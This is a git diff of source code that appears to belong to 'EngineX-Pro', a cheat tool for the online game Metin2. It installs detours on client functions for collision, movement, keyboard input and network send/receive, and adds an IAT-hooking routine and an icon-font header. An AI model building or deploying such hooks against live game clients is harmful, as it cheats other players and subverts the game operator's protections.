//nCPythonChatAppendChat = (Globals::tCPythonChatAppendChat)DetourFunction((PBYTE)Globals::CPythonChatAppendChat, (PBYTE)NewCPythonChatAppendChat); + break; + } + case ServerName::METINPL: + { + nCInstanceBaseAvoidObject = (Globals::tCInstanceBaseAvoidObject)DetourFunction((PBYTE)Globals::CInstanceBaseAvoidObject, (PBYTE)NewCInstanceBaseAvoidObject); + nCInstanceBaseBlockMovement = (Globals::tCInstanceBaseBlockMovement)DetourFunction((PBYTE)Globals::CInstanceBaseBlockMovement, (PBYTE)NewCInstanceBaseBlockMovement); + nCActorInstanceTestActorCollision = (Globals::tCActorInstanceTestActorCollision)DetourFunction((PBYTE)Globals::CActorInstanceTestActorCollision, (PBYTE)NewCActorInstanceTestActorCollision); + nCPhysicsObjectIncreaseExternalForce = (Globals::tCPhysicsObjectIncreaseExternalForce)DetourFunction((PBYTE)Globals::CPhysicsObjectIncreaseExternalForce, (PBYTE)NewCPhysicsObjectIncreaseExternalForce); + nCInputKeyboardUpdateKeyboard = (Globals::tCInputKeyboardUpdateKeyboard)DetourFunction((PBYTE)Globals::CInputKeyboardUpdateKeyboard, (PBYTE)NewCInputKeyboardUpdateKeyboard); + nCNetworkStreamRecv = (Globals::tCNetworkStreamRecv)DetourFunction((PBYTE)Globals::CNetworkStreamRecv, (PBYTE)NewCNetworkStreamRecv); + nCNetworkStreamSend = (Globals::tCNetworkStreamSend)DetourFunction((PBYTE)Globals::CNetworkStreamSend, (PBYTE)NewCNetworkStreamSend); + nCPythonApplicationRenderGame = (Globals::tCPythonApplicationRenderGame)DetourFunction((PBYTE)Globals::CPythonApplicationRenderGame, (PBYTE)NewCPythonApplicationRenderGame); + nPyCallClassMemberFunc = (Globals::tPyCallClassMemberFunc)DetourFunction((PBYTE)Globals::PyCallClassMemberFunc, (PBYTE)NewPyCallClassMemberFunc); + nCPythonEventManagerRegisterEventSetFromString = (Globals::tCPythonEventManagerRegisterEventSetFromString)DetourFunction((PBYTE)Globals::CPythonEventManagerRegisterEventSetFromString, (PBYTE)NewCPythonEventManagerRegisterEventSetFromString); + break; + } + } +} diff --git a/EngineX-Pro/HookCore.h b/EngineX-Pro/HookCore.h new file mode 100644 index 0000000..96f42d3 --- /dev/null +++ b/EngineX-Pro/HookCore.h @@ -0,0 +1,65 @@ +#pragma once + +class Hooks +{ +public: + static Globals::tPyCallClassMemberFunc nPyCallClassMemberFunc; + static Globals::tCNetworkStreamRecv nCNetworkStreamRecv; + static Globals::tCNetworkStreamSend nCNetworkStreamSend; + static Globals::tCNetworkStreamSendAeldra nCNetworkStreamSendAeldra; + static Globals::tCPythonChatAppendChat nCPythonChatAppendChat; + static Globals::tCInstanceBaseBlockMovement nCInstanceBaseBlockMovement; + static Globals::tCInstanceBaseAvoidObject nCInstanceBaseAvoidObject; + static Globals::tCActorInstanceTestActorCollision nCActorInstanceTestActorCollision; + static Globals::tCPhysicsObjectIncreaseExternalForce nCPhysicsObjectIncreaseExternalForce; + static Globals::tCPythonApplicationRenderGame nCPythonApplicationRenderGame; + static Globals::tCPythonEventManagerRegisterEventSetFromString nCPythonEventManagerRegisterEventSetFromString; + static Globals::tCResourceManagerGetResourcePointer nCResourceManagerGetResourcePointer; + + static PLH::VFuncMap directxVTable; + static Globals::tDirectEndScene nDirectEndScene; + static Globals::tDirectReset nDirectReset; + static Globals::tCInputKeyboardUpdateKeyboard nCInputKeyboardUpdateKeyboard; + static std::shared_ptr screenToClientHwBpHook; + typedef bool(__stdcall* tScreenToClient)(HWND hWnd, LPPOINT lpPoint); + static bool __stdcall NewScreenToClient(HWND hWnd, LPPOINT lpPoint); + + static void _fastcall NewCPythonApplicationRenderGame(void* This, void* EDX); + static bool _fastcall NewCActorInstanceTestActorCollision(void* This, void* EDX, DWORD* rVictim); + static bool _fastcall NewCInstanceBaseAvoidObject(void* This, void* EDX, DWORD* c_rkBGObj); + static void _fastcall NewCInstanceBaseBlockMovement(void* This, void* EDX); + static bool __cdecl NewPyCallClassMemberFunc(PyObject* poClass, const char* c_szFunc, PyObject* poArgs); + static int _fastcall NewCPythonEventManagerRegisterEventSetFromString(void* This, void* EDX, const string& strScript); + static void _fastcall NewCPhysicsObjectIncreaseExternalForce(void* This, void* EDX, const D3DVECTOR& c_rvBasePosition, float fForce); + static bool _fastcall NewCNetworkStreamRecv(void* This, void* EDX, int len, void* pDestBuf); + static bool _fastcall NewCNetworkStreamSend(void* This, void* EDX, int len, void* pDestBuf); + + //static bool _fastcall NewCNetworkStreamSendAeldra(void* This, void* EDX, int len, void* pDestBuf, bool instant); + static int _stdcall NewCNetworkStreamSendAeldra(SOCKET s, const char* pDestBuf, int len, int flags); + static void _fastcall NewCPythonChatAppendChat(void* This, void* EDX, int iType, const char* c_szChat); + static DWORD* _fastcall NewCResourceManagerGetResourcePointer(void* This, void* EDX, const char* c_szFileName); + + static HRESULT __stdcall NewDirectEndScene(void* This); + static HRESULT __stdcall NewDirectReset(void* This, D3DPRESENT_PARAMETERS* ppReset); + static void _fastcall NewCInputKeyboardUpdateKeyboard(void* This, void* EDX); + //%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + static void Initialize(); + + static bool _fastcall NewCInstanceBaseRegisterEffect(void* This, void* EDX, UINT eEftType, const char* c_szEftAttachBone, const char* c_szEftName, bool isCache); +}; + +Globals::tCNetworkStreamRecv Hooks::nCNetworkStreamRecv = NULL; +Globals::tCNetworkStreamSend Hooks::nCNetworkStreamSend = NULL; +Globals::tCNetworkStreamSendAeldra Hooks::nCNetworkStreamSendAeldra = NULL; +Globals::tCPythonChatAppendChat Hooks::nCPythonChatAppendChat = NULL; +Globals::tCPhysicsObjectIncreaseExternalForce Hooks::nCPhysicsObjectIncreaseExternalForce = NULL; +Globals::tPyCallClassMemberFunc Hooks::nPyCallClassMemberFunc = NULL; +Globals::tCInstanceBaseBlockMovement Hooks::nCInstanceBaseBlockMovement = NULL; +Globals::tCInstanceBaseAvoidObject Hooks::nCInstanceBaseAvoidObject = NULL; +Globals::tCActorInstanceTestActorCollision Hooks::nCActorInstanceTestActorCollision = NULL; +Globals::tCPythonApplicationRenderGame Hooks::nCPythonApplicationRenderGame = NULL; +Globals::tCInputKeyboardUpdateKeyboard Hooks::nCInputKeyboardUpdateKeyboard = NULL; +Globals::tCPythonEventManagerRegisterEventSetFromString Hooks::nCPythonEventManagerRegisterEventSetFromString = NULL; +Globals::tCResourceManagerGetResourcePointer Hooks::nCResourceManagerGetResourcePointer = NULL; +Globals::tDirectEndScene Hooks::nDirectEndScene = NULL; +Globals::tDirectReset Hooks::nDirectReset = NULL; diff --git a/EngineX-Pro/IAbstractModuleBase.h b/EngineX-Pro/IAbstractModuleBase.h new file mode 100644 index 0000000..901fbc4 --- /dev/null +++ b/EngineX-Pro/IAbstractModuleBase.h @@ -0,0 +1,15 @@ +#pragma once + +class IAbstractModuleBase : public TAbstractSingleton +{ +public: + IAbstractModuleBase() {} + virtual ~IAbstractModuleBase() {} + + virtual void OnStart() = 0; + virtual void OnStop() = 0; + virtual void OnTabs() = 0; + virtual void OnMenu() = 0; + virtual void OnUpdate() = 0; + virtual void OnRender() = 0; +}; \ No newline at end of file diff --git a/EngineX-Pro/IatHook.cpp b/EngineX-Pro/IatHook.cpp new file mode 100644 index 0000000..7ad7f4f --- /dev/null +++ b/EngineX-Pro/IatHook.cpp @@ -0,0 +1,135 @@ +#include "polyhook2/PE/IatHook.hpp" + +PLH::IatHook::IatHook(const std::string& dllName, const std::string& apiName, const char* fnCallback, uint64_t* userOrigVar, const std::wstring& moduleName) + : IatHook(dllName, apiName, (uint64_t)fnCallback, userOrigVar, moduleName) +{} + +PLH::IatHook::IatHook(const std::string& dllName, const std::string& apiName, const uint64_t fnCallback, uint64_t* userOrigVar, const std::wstring& moduleName) + : m_dllName(dllName) + , m_apiName(apiName) + , m_moduleName(moduleName) + , m_fnCallback(fnCallback) + , m_userOrigVar(userOrigVar) + , m_origFunc(0) +{} + +bool PLH::IatHook::hook() { + assert(m_userOrigVar != nullptr); + IMAGE_THUNK_DATA* pThunk = FindIatThunk(m_dllName, m_apiName); + if (pThunk == nullptr) + return false; + + // IAT is by default a writeable section + MemoryProtector prot((uint64_t)&pThunk->u1.Function, sizeof(uintptr_t), ProtFlag::R | ProtFlag::W, *this); + m_origFunc = (uint64_t)pThunk->u1.Function; + pThunk->u1.Function = (uintptr_t)m_fnCallback; + m_hooked = true; + *m_userOrigVar = m_origFunc; + return true; +} + +bool PLH::IatHook::unHook() { + assert(m_userOrigVar != nullptr); + assert(m_hooked); + if (!m_hooked) + return false; + + IMAGE_THUNK_DATA* pThunk = FindIatThunk(m_dllName, m_apiName); + if (pThunk == nullptr) + return false; + + MemoryProtector prot((uint64_t)&pThunk->u1.Function, sizeof(uintptr_t), ProtFlag::R | ProtFlag::W, *this); + pThunk->u1.Function = (uintptr_t)m_origFunc; + m_hooked = false; + *m_userOrigVar = NULL; + return true; +} + +IMAGE_THUNK_DATA* PLH::IatHook::FindIatThunk(const std::string& dllName, const std::string& apiName, const std::wstring moduleName /* = L"" */) { +#if defined(_WIN64) + PEB* peb = (PPEB)__readgsqword(0x60); +#else + PEB* peb = (PPEB)__readfsdword(0x30); +#endif + + IMAGE_THUNK_DATA* pThunk = nullptr; + PEB_LDR_DATA* ldr = (PPEB_LDR_DATA)peb->Ldr; + + // find loaded module from peb + for (LDR_DATA_TABLE_ENTRY* dte = (LDR_DATA_TABLE_ENTRY*)ldr->InLoadOrderModuleList.Flink; + dte->DllBase != nullptr; + dte = (LDR_DATA_TABLE_ENTRY*)dte->InLoadOrderLinks.Flink) { + + // TODO: create stricmp for UNICODE_STRING because this is really bad for performance + std::wstring baseModuleName(dte->BaseDllName.Buffer, dte->BaseDllName.Length / sizeof(wchar_t)); + + // try all modules if none given, otherwise only try specified + if (!moduleName.empty() && (my_wide_stricmp(baseModuleName.c_str(), moduleName.c_str()) != 0)) + continue; + + pThunk = FindIatThunkInModule(dte->DllBase, dllName, apiName); + if (pThunk != nullptr) + return pThunk; + } + + if (pThunk == nullptr) { + Log::log("Failed to find thunk for api from requested dll", ErrorLevel::SEV); + } + return pThunk; +} + +IMAGE_THUNK_DATA* PLH::IatHook::FindIatThunkInModule(void* moduleBase, const std::string& dllName, const std::string& apiName) { + assert(moduleBase != nullptr); + if (moduleBase == nullptr) + return nullptr; + + auto* pDos = (IMAGE_DOS_HEADER*)moduleBase; + auto* pNT = RVA2VA(IMAGE_NT_HEADERS*, moduleBase, pDos->e_lfanew); + auto* pDataDir = (IMAGE_DATA_DIRECTORY*)pNT->OptionalHeader.DataDirectory; + + if (pDataDir[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress == NULL) { + Log::log("PEs without import tables are unsupported", ErrorLevel::SEV); + return nullptr; + } + + auto* pImports = (IMAGE_IMPORT_DESCRIPTOR*)RVA2VA(uintptr_t, moduleBase, pDataDir[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); + + // import entry with null fields marks end + for (uint_fast16_t i = 0; pImports[i].Name != NULL; i++) { + if(my_narrow_stricmp(RVA2VA(PCHAR, moduleBase, pImports[i].Name), + dllName.c_str()) != 0) + continue; + + // Original holds the API Names + auto pOriginalThunk = (PIMAGE_THUNK_DATA) + RVA2VA(uintptr_t, moduleBase, pImports[i].OriginalFirstThunk); + + // FirstThunk is overwritten by loader with API addresses, we change this + auto pThunk = (PIMAGE_THUNK_DATA) + RVA2VA(uintptr_t, moduleBase, pImports[i].FirstThunk); + + if (!pOriginalThunk) { + Log::log("IAT's without valid original thunk are un-supported", ErrorLevel::SEV); + return nullptr; + } + + // Table is null terminated, increment both tables + for (; pOriginalThunk->u1.Ordinal != NULL; pOriginalThunk++, pThunk++) { + if (IMAGE_SNAP_BY_ORDINAL(pOriginalThunk->u1.Ordinal)) { + //printf("Import By Ordinal:[Ordinal:%d]\n", IMAGE_ORDINAL(pOriginalThunk->u1.Ordinal)); + continue; + } + + auto pImport = (PIMAGE_IMPORT_BY_NAME) + RVA2VA(uintptr_t, moduleBase, pOriginalThunk->u1.AddressOfData); + + if(my_narrow_stricmp(pImport->Name, apiName.c_str()) != 0) + continue; + + return pThunk; + } + } + + Log::log("Thunk not found before end of IAT", ErrorLevel::SEV); + return nullptr; +} \ No newline at end of file diff --git a/EngineX-Pro/IconsFontAwesome5.h b/EngineX-Pro/IconsFontAwesome5.h new file mode 100644 index 0000000..8e0c2e4 --- /dev/null +++ b/EngineX-Pro/IconsFontAwesome5.h @@ -0,0 +1,1856 @@ +#define FONT_ICON_FILE_NAME_FAR "fa-regular-400.ttf" +#define ICON_MIN_FA 0xe005 +#define ICON_MAX_FA 0xf8ff +#define ICON_FA_ABACUS "\xef\x99\x80" // U+f640 +#define ICON_FA_ACORN "\xef\x9a\xae" // U+f6ae +#define ICON_FA_AD "\xef\x99\x81" // U+f641 +#define ICON_FA_ADDRESS_BOOK "\xef\x8a\xb9" // U+f2b9 +#define ICON_FA_ADDRESS_CARD "\xef\x8a\xbb" // U+f2bb +#define ICON_FA_ADJUST "\xef\x81\x82" // U+f042 +#define ICON_FA_AIR_CONDITIONER "\xef\xa3\xb4" // U+f8f4 +#define ICON_FA_AIR_FRESHENER "\xef\x97\x90" // U+f5d0 +#define ICON_FA_ALARM_CLOCK "\xef\x8d\x8e" // U+f34e +#define ICON_FA_ALARM_EXCLAMATION "\xef\xa1\x83" // U+f843 +#define ICON_FA_ALARM_PLUS "\xef\xa1\x84" // U+f844 +#define ICON_FA_ALARM_SNOOZE "\xef\xa1\x85" // U+f845 +#define ICON_FA_ALBUM "\xef\xa2\x9f" // U+f89f +#define ICON_FA_ALBUM_COLLECTION "\xef\xa2\xa0" // U+f8a0 +#define ICON_FA_ALICORN "\xef\x9a\xb0" // U+f6b0 +#define ICON_FA_ALIEN "\xef\xa3\xb5" // U+f8f5 +#define ICON_FA_ALIEN_MONSTER "\xef\xa3\xb6" // U+f8f6 +#define ICON_FA_ALIGN_CENTER "\xef\x80\xb7" // U+f037 +#define ICON_FA_ALIGN_JUSTIFY "\xef\x80\xb9" // U+f039 +#define ICON_FA_ALIGN_LEFT "\xef\x80\xb6" // U+f036 +#define ICON_FA_ALIGN_RIGHT "\xef\x80\xb8" // U+f038 +#define ICON_FA_ALIGN_SLASH "\xef\xa1\x86" // U+f846 +#define ICON_FA_ALLERGIES "\xef\x91\xa1" // U+f461 +#define ICON_FA_AMBULANCE "\xef\x83\xb9" // U+f0f9 +#define ICON_FA_AMERICAN_SIGN_LANGUAGE_INTERPRETING "\xef\x8a\xa3" // U+f2a3 +#define ICON_FA_AMP_GUITAR "\xef\xa2\xa1" // U+f8a1 +#define ICON_FA_ANALYTICS "\xef\x99\x83" // U+f643 +#define ICON_FA_ANCHOR "\xef\x84\xbd" // U+f13d +#define ICON_FA_ANGEL "\xef\x9d\xb9" // U+f779 +#define ICON_FA_ANGLE_DOUBLE_DOWN "\xef\x84\x83" // U+f103 +#define ICON_FA_ANGLE_DOUBLE_LEFT "\xef\x84\x80" // U+f100 +#define ICON_FA_ANGLE_DOUBLE_RIGHT "\xef\x84\x81" // U+f101 +#define ICON_FA_ANGLE_DOUBLE_UP "\xef\x84\x82" // U+f102 +#define ICON_FA_ANGLE_DOWN "\xef\x84\x87" // U+f107 +#define ICON_FA_ANGLE_LEFT "\xef\x84\x84" // U+f104 +#define ICON_FA_ANGLE_RIGHT "\xef\x84\x85" // U+f105 +#define ICON_FA_ANGLE_UP "\xef\x84\x86" // U+f106 +#define ICON_FA_ANGRY "\xef\x95\x96" // U+f556 +#define ICON_FA_ANKH "\xef\x99\x84" // U+f644 +#define ICON_FA_APPLE_ALT "\xef\x97\x91" // U+f5d1 +#define ICON_FA_APPLE_CRATE "\xef\x9a\xb1" // U+f6b1 +#define ICON_FA_ARCHIVE "\xef\x86\x87" // U+f187 +#define ICON_FA_ARCHWAY "\xef\x95\x97" // U+f557 +#define ICON_FA_ARROW_ALT_CIRCLE_DOWN "\xef\x8d\x98" // U+f358 +#define ICON_FA_ARROW_ALT_CIRCLE_LEFT "\xef\x8d\x99" // U+f359 +#define ICON_FA_ARROW_ALT_CIRCLE_RIGHT "\xef\x8d\x9a" // U+f35a +#define ICON_FA_ARROW_ALT_CIRCLE_UP "\xef\x8d\x9b" // U+f35b +#define ICON_FA_ARROW_ALT_DOWN "\xef\x8d\x94" // U+f354 +#define ICON_FA_ARROW_ALT_FROM_BOTTOM "\xef\x8d\x86" // U+f346 +#define ICON_FA_ARROW_ALT_FROM_LEFT "\xef\x8d\x87" // U+f347 +#define ICON_FA_ARROW_ALT_FROM_RIGHT "\xef\x8d\x88" // U+f348 +#define ICON_FA_ARROW_ALT_FROM_TOP "\xef\x8d\x89" // U+f349 +#define ICON_FA_ARROW_ALT_LEFT "\xef\x8d\x95" // U+f355 +#define ICON_FA_ARROW_ALT_RIGHT "\xef\x8d\x96" // U+f356 +#define ICON_FA_ARROW_ALT_SQUARE_DOWN "\xef\x8d\x90" // U+f350 +#define ICON_FA_ARROW_ALT_SQUARE_LEFT "\xef\x8d\x91" // U+f351 +#define ICON_FA_ARROW_ALT_SQUARE_RIGHT "\xef\x8d\x92" // U+f352 +#define ICON_FA_ARROW_ALT_SQUARE_UP "\xef\x8d\x93" // U+f353 +#define ICON_FA_ARROW_ALT_TO_BOTTOM "\xef\x8d\x8a" // U+f34a +#define ICON_FA_ARROW_ALT_TO_LEFT "\xef\x8d\x8b" // U+f34b +#define ICON_FA_ARROW_ALT_TO_RIGHT "\xef\x8d\x8c" // U+f34c +#define ICON_FA_ARROW_ALT_TO_TOP "\xef\x8d\x8d" // U+f34d +#define ICON_FA_ARROW_ALT_UP "\xef\x8d\x97" // U+f357 +#define ICON_FA_ARROW_CIRCLE_DOWN "\xef\x82\xab" // U+f0ab +#define ICON_FA_ARROW_CIRCLE_LEFT "\xef\x82\xa8" // U+f0a8 +#define ICON_FA_ARROW_CIRCLE_RIGHT "\xef\x82\xa9" // U+f0a9 +#define ICON_FA_ARROW_CIRCLE_UP "\xef\x82\xaa" // U+f0aa +#define ICON_FA_ARROW_DOWN "\xef\x81\xa3" // U+f063 +#define ICON_FA_ARROW_FROM_BOTTOM "\xef\x8d\x82" // U+f342 +#define ICON_FA_ARROW_FROM_LEFT "\xef\x8d\x83" // U+f343 +#define ICON_FA_ARROW_FROM_RIGHT "\xef\x8d\x84" // U+f344 +#define ICON_FA_ARROW_FROM_TOP "\xef\x8d\x85" // U+f345 +#define ICON_FA_ARROW_LEFT "\xef\x81\xa0" // U+f060 +#define ICON_FA_ARROW_RIGHT "\xef\x81\xa1" // U+f061 +#define ICON_FA_ARROW_SQUARE_DOWN "\xef\x8c\xb9" // U+f339 +#define ICON_FA_ARROW_SQUARE_LEFT "\xef\x8c\xba" // U+f33a +#define ICON_FA_ARROW_SQUARE_RIGHT "\xef\x8c\xbb" // U+f33b +#define ICON_FA_ARROW_SQUARE_UP "\xef\x8c\xbc" // U+f33c +#define ICON_FA_ARROW_TO_BOTTOM "\xef\x8c\xbd" // U+f33d +#define ICON_FA_ARROW_TO_LEFT "\xef\x8c\xbe" // U+f33e +#define ICON_FA_ARROW_TO_RIGHT "\xef\x8d\x80" // U+f340 +#define ICON_FA_ARROW_TO_TOP "\xef\x8d\x81" // U+f341 +#define ICON_FA_ARROW_UP "\xef\x81\xa2" // U+f062 +#define ICON_FA_ARROWS "\xef\x81\x87" // U+f047 +#define ICON_FA_ARROWS_ALT "\xef\x82\xb2" // U+f0b2 +#define ICON_FA_ARROWS_ALT_H "\xef\x8c\xb7" // U+f337 +#define ICON_FA_ARROWS_ALT_V "\xef\x8c\xb8" // U+f338 +#define ICON_FA_ARROWS_H "\xef\x81\xbe" // U+f07e +#define ICON_FA_ARROWS_V "\xef\x81\xbd" // U+f07d +#define ICON_FA_ASSISTIVE_LISTENING_SYSTEMS "\xef\x8a\xa2" // U+f2a2 +#define ICON_FA_ASTERISK "\xef\x81\xa9" // U+f069 +#define ICON_FA_AT "\xef\x87\xba" // U+f1fa +#define ICON_FA_ATLAS "\xef\x95\x98" // U+f558 +#define ICON_FA_ATOM "\xef\x97\x92" // U+f5d2 +#define ICON_FA_ATOM_ALT "\xef\x97\x93" // U+f5d3 +#define ICON_FA_AUDIO_DESCRIPTION "\xef\x8a\x9e" // U+f29e +#define ICON_FA_AWARD "\xef\x95\x99" // U+f559 +#define ICON_FA_AXE "\xef\x9a\xb2" // U+f6b2 +#define ICON_FA_AXE_BATTLE "\xef\x9a\xb3" // U+f6b3 +#define ICON_FA_BABY "\xef\x9d\xbc" // U+f77c +#define ICON_FA_BABY_CARRIAGE "\xef\x9d\xbd" // U+f77d +#define ICON_FA_BACKPACK "\xef\x97\x94" // U+f5d4 +#define ICON_FA_BACKSPACE "\xef\x95\x9a" // U+f55a +#define ICON_FA_BACKWARD "\xef\x81\x8a" // U+f04a +#define ICON_FA_BACON "\xef\x9f\xa5" // U+f7e5 +#define ICON_FA_BACTERIA "\xee\x81\x99" // U+e059 +#define ICON_FA_BACTERIUM "\xee\x81\x9a" // U+e05a +#define ICON_FA_BADGE "\xef\x8c\xb5" // U+f335 +#define ICON_FA_BADGE_CHECK "\xef\x8c\xb6" // U+f336 +#define ICON_FA_BADGE_DOLLAR "\xef\x99\x85" // U+f645 +#define ICON_FA_BADGE_PERCENT "\xef\x99\x86" // U+f646 +#define ICON_FA_BADGE_SHERIFF "\xef\xa2\xa2" // U+f8a2 +#define ICON_FA_BADGER_HONEY "\xef\x9a\xb4" // U+f6b4 +#define ICON_FA_BAGS_SHOPPING "\xef\xa1\x87" // U+f847 +#define ICON_FA_BAHAI "\xef\x99\xa6" // U+f666 +#define ICON_FA_BALANCE_SCALE "\xef\x89\x8e" // U+f24e +#define ICON_FA_BALANCE_SCALE_LEFT "\xef\x94\x95" // U+f515 +#define ICON_FA_BALANCE_SCALE_RIGHT "\xef\x94\x96" // U+f516 +#define ICON_FA_BALL_PILE "\xef\x9d\xbe" // U+f77e +#define ICON_FA_BALLOT "\xef\x9c\xb2" // U+f732 +#define ICON_FA_BALLOT_CHECK "\xef\x9c\xb3" // U+f733 +#define ICON_FA_BAN "\xef\x81\x9e" // U+f05e +#define ICON_FA_BAND_AID "\xef\x91\xa2" // U+f462 +#define ICON_FA_BANJO "\xef\xa2\xa3" // U+f8a3 +#define ICON_FA_BARCODE "\xef\x80\xaa" // U+f02a +#define ICON_FA_BARCODE_ALT "\xef\x91\xa3" // U+f463 +#define ICON_FA_BARCODE_READ "\xef\x91\xa4" // U+f464 +#define ICON_FA_BARCODE_SCAN "\xef\x91\xa5" // U+f465 +#define ICON_FA_BARS "\xef\x83\x89" // U+f0c9 +#define ICON_FA_BASEBALL "\xef\x90\xb2" // U+f432 +#define ICON_FA_BASEBALL_BALL "\xef\x90\xb3" // U+f433 +#define ICON_FA_BASKETBALL_BALL "\xef\x90\xb4" // U+f434 +#define ICON_FA_BASKETBALL_HOOP "\xef\x90\xb5" // U+f435 +#define ICON_FA_BAT "\xef\x9a\xb5" // U+f6b5 +#define ICON_FA_BATH "\xef\x8b\x8d" // U+f2cd +#define ICON_FA_BATTERY_BOLT "\xef\x8d\xb6" // U+f376 +#define ICON_FA_BATTERY_EMPTY "\xef\x89\x84" // U+f244 +#define ICON_FA_BATTERY_FULL "\xef\x89\x80" // U+f240 +#define ICON_FA_BATTERY_HALF "\xef\x89\x82" // U+f242 +#define ICON_FA_BATTERY_QUARTER "\xef\x89\x83" // U+f243 +#define ICON_FA_BATTERY_SLASH "\xef\x8d\xb7" // U+f377 +#define ICON_FA_BATTERY_THREE_QUARTERS "\xef\x89\x81" // U+f241 +#define ICON_FA_BED "\xef\x88\xb6" // U+f236 +#define ICON_FA_BED_ALT "\xef\xa3\xb7" // U+f8f7 +#define ICON_FA_BED_BUNK "\xef\xa3\xb8" // U+f8f8 +#define ICON_FA_BED_EMPTY "\xef\xa3\xb9" // U+f8f9 +#define ICON_FA_BEER "\xef\x83\xbc" // U+f0fc +#define ICON_FA_BELL "\xef\x83\xb3" // U+f0f3 +#define ICON_FA_BELL_EXCLAMATION "\xef\xa1\x88" // U+f848 +#define ICON_FA_BELL_ON "\xef\xa3\xba" // U+f8fa +#define ICON_FA_BELL_PLUS "\xef\xa1\x89" // U+f849 +#define ICON_FA_BELL_SCHOOL "\xef\x97\x95" // U+f5d5 +#define ICON_FA_BELL_SCHOOL_SLASH "\xef\x97\x96" // U+f5d6 +#define ICON_FA_BELL_SLASH "\xef\x87\xb6" // U+f1f6 +#define ICON_FA_BELLS "\xef\x9d\xbf" // U+f77f +#define ICON_FA_BETAMAX "\xef\xa2\xa4" // U+f8a4 +#define ICON_FA_BEZIER_CURVE "\xef\x95\x9b" // U+f55b +#define ICON_FA_BIBLE "\xef\x99\x87" // U+f647 +#define ICON_FA_BICYCLE "\xef\x88\x86" // U+f206 +#define ICON_FA_BIKING "\xef\xa1\x8a" // U+f84a +#define ICON_FA_BIKING_MOUNTAIN "\xef\xa1\x8b" // U+f84b +#define ICON_FA_BINOCULARS "\xef\x87\xa5" // U+f1e5 +#define ICON_FA_BIOHAZARD "\xef\x9e\x80" // U+f780 +#define ICON_FA_BIRTHDAY_CAKE "\xef\x87\xbd" // U+f1fd +#define ICON_FA_BLANKET "\xef\x92\x98" // U+f498 +#define ICON_FA_BLENDER "\xef\x94\x97" // U+f517 +#define ICON_FA_BLENDER_PHONE "\xef\x9a\xb6" // U+f6b6 +#define ICON_FA_BLIND "\xef\x8a\x9d" // U+f29d +#define ICON_FA_BLINDS "\xef\xa3\xbb" // U+f8fb +#define ICON_FA_BLINDS_OPEN "\xef\xa3\xbc" // U+f8fc +#define ICON_FA_BLINDS_RAISED "\xef\xa3\xbd" // U+f8fd +#define ICON_FA_BLOG "\xef\x9e\x81" // U+f781 +#define ICON_FA_BOLD "\xef\x80\xb2" // U+f032 +#define ICON_FA_BOLT "\xef\x83\xa7" // U+f0e7 +#define ICON_FA_BOMB "\xef\x87\xa2" // U+f1e2 +#define ICON_FA_BONE "\xef\x97\x97" // U+f5d7 +#define ICON_FA_BONE_BREAK "\xef\x97\x98" // U+f5d8 +#define ICON_FA_BONG "\xef\x95\x9c" // U+f55c +#define ICON_FA_BOOK "\xef\x80\xad" // U+f02d +#define ICON_FA_BOOK_ALT "\xef\x97\x99" // U+f5d9 +#define ICON_FA_BOOK_DEAD "\xef\x9a\xb7" // U+f6b7 +#define ICON_FA_BOOK_HEART "\xef\x92\x99" // U+f499 +#define ICON_FA_BOOK_MEDICAL "\xef\x9f\xa6" // U+f7e6 +#define ICON_FA_BOOK_OPEN "\xef\x94\x98" // U+f518 +#define ICON_FA_BOOK_READER "\xef\x97\x9a" // U+f5da +#define ICON_FA_BOOK_SPELLS "\xef\x9a\xb8" // U+f6b8 +#define ICON_FA_BOOK_USER "\xef\x9f\xa7" // U+f7e7 +#define ICON_FA_BOOKMARK "\xef\x80\xae" // U+f02e +#define ICON_FA_BOOKS "\xef\x97\x9b" // U+f5db +#define ICON_FA_BOOKS_MEDICAL "\xef\x9f\xa8" // U+f7e8 +#define ICON_FA_BOOMBOX "\xef\xa2\xa5" // U+f8a5 +#define ICON_FA_BOOT "\xef\x9e\x82" // U+f782 +#define ICON_FA_BOOTH_CURTAIN "\xef\x9c\xb4" // U+f734 +#define ICON_FA_BORDER_ALL "\xef\xa1\x8c" // U+f84c +#define ICON_FA_BORDER_BOTTOM "\xef\xa1\x8d" // U+f84d +#define ICON_FA_BORDER_CENTER_H "\xef\xa2\x9c" // U+f89c +#define ICON_FA_BORDER_CENTER_V "\xef\xa2\x9d" // U+f89d +#define ICON_FA_BORDER_INNER "\xef\xa1\x8e" // U+f84e +#define ICON_FA_BORDER_LEFT "\xef\xa1\x8f" // U+f84f +#define ICON_FA_BORDER_NONE "\xef\xa1\x90" // U+f850 +#define ICON_FA_BORDER_OUTER "\xef\xa1\x91" // U+f851 +#define ICON_FA_BORDER_RIGHT "\xef\xa1\x92" // U+f852 +#define ICON_FA_BORDER_STYLE "\xef\xa1\x93" // U+f853 +#define ICON_FA_BORDER_STYLE_ALT "\xef\xa1\x94" // U+f854 +#define ICON_FA_BORDER_TOP "\xef\xa1\x95" // U+f855 +#define ICON_FA_BOW_ARROW "\xef\x9a\xb9" // U+f6b9 +#define ICON_FA_BOWLING_BALL "\xef\x90\xb6" // U+f436 +#define ICON_FA_BOWLING_PINS "\xef\x90\xb7" // U+f437 +#define ICON_FA_BOX "\xef\x91\xa6" // U+f466 +#define ICON_FA_BOX_ALT "\xef\x92\x9a" // U+f49a +#define ICON_FA_BOX_BALLOT "\xef\x9c\xb5" // U+f735 +#define ICON_FA_BOX_CHECK "\xef\x91\xa7" // U+f467 +#define ICON_FA_BOX_FRAGILE "\xef\x92\x9b" // U+f49b +#define ICON_FA_BOX_FULL "\xef\x92\x9c" // U+f49c +#define ICON_FA_BOX_HEART "\xef\x92\x9d" // U+f49d +#define ICON_FA_BOX_OPEN "\xef\x92\x9e" // U+f49e +#define ICON_FA_BOX_TISSUE "\xee\x81\x9b" // U+e05b +#define ICON_FA_BOX_UP "\xef\x92\x9f" // U+f49f +#define ICON_FA_BOX_USD "\xef\x92\xa0" // U+f4a0 +#define ICON_FA_BOXES "\xef\x91\xa8" // U+f468 +#define ICON_FA_BOXES_ALT "\xef\x92\xa1" // U+f4a1 +#define ICON_FA_BOXING_GLOVE "\xef\x90\xb8" // U+f438 +#define ICON_FA_BRACKETS "\xef\x9f\xa9" // U+f7e9 +#define ICON_FA_BRACKETS_CURLY 